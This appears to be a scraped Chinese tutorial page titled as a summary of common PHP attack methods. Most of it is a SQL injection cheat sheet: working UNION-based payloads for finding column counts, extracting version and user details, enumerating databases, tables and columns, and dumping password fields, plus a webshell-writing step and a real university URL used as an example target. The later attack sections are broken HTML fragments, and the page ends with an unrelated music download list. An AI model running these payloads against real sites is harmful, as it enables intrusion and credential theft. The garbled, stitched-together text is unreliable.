本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:
1.SQL Injection(sql注入)
①.暴字段长度 Order by num/*
②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*
③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*
④.利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息 and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:
①、知道站点物理路径
②、有足够大的权限(可以用select …. from mysql.user测试)
③、magic_quotes_gpc()=OFF
select '<"color: #0000ff">Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php"color: #0000ff">http://www.mse.tsinghua.edu.cn/mse/research/instrument.php"font-size: medium">2.XSS (Cross Site Scripting)(跨站脚本攻击)
//www.jb51.net/article/160334.htm
3.Source Code Revelation(源代码暴露)
可以用php.ini或者htaccess控制
<Files ~ "\.inc$"> Order allow,deny Deny from all </Files>
4.Remote File Inclusion(远程文件包含漏洞)
<"font-size: medium">5.Session Hijacking(session劫持)6.Cross Site Request Forgery(跨站请求伪造)
7.Directory Traversal(目录跨越)
更多关于PHP相关内容感兴趣的读者可查看本站专题:《php程序设计安全教程》、《php安全过滤技巧总结》、《PHP运算与运算符用法总结》、《PHP基本语法入门教程》、《php面向对象程序设计入门教程》、《php字符串(string)用法总结》、《php+mysql数据库操作入门教程》及《php常见数据库操作技巧汇总》
希望本文所述对大家PHP程序设计有所帮助。
PHP,攻击方式
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
更新日志
- 杨千嬅.2002-万紫千红演唱会2CD(2024环球红馆40复刻系列)【环球】【WAV+CUE】
- 郭采洁.2015-Begin.Again爱造飞鸡【华纳】【FLAC分轨】
- 许志安.2011-ON.AND.ON【东亚】【WAV+CUE】
- 潘秀琼.1994-木兰从军【名将】【WAV+CUE】
- 纯音入心系列纯音乐《古筝系列-当流行乐遇到古筝》1CD[MP3][1.9GB]
- 纯音入心系列纯音乐《精选古筝名曲100首》1CD[MP3][388.7MB]
- 纯音入心系列纯音乐《天籁古筝》1CD[MP3][331MB]
- 男女对唱典藏天碟《发烧对唱·那个季节里的歌DSD》10CD[WAV]
- 群星2010-歌林精选辑[歌林][WAV+CUE]
- TrioZimbalist-PianoTriosofWeinberg,Auerbach,Dvorak(2024)[24-44,1]wav
- 群星.1992-滚石第一流台湾歌·12王牌大车拼【滚石】【WAV+CUE】
- 林子祥.1984-创作歌集【华纳】【WAV+CUE】
- 周汤豪.2010-周汤豪【华纳】【FLAC分轨】
- Mozart-TheStringQuintets-AmadeusQuartet,CecilAronowitz(2017)[24-44,1][WAV+CUE]
- JamesWilliamsDennisIrwin-Focus(2024,Red)[24-48]FLAC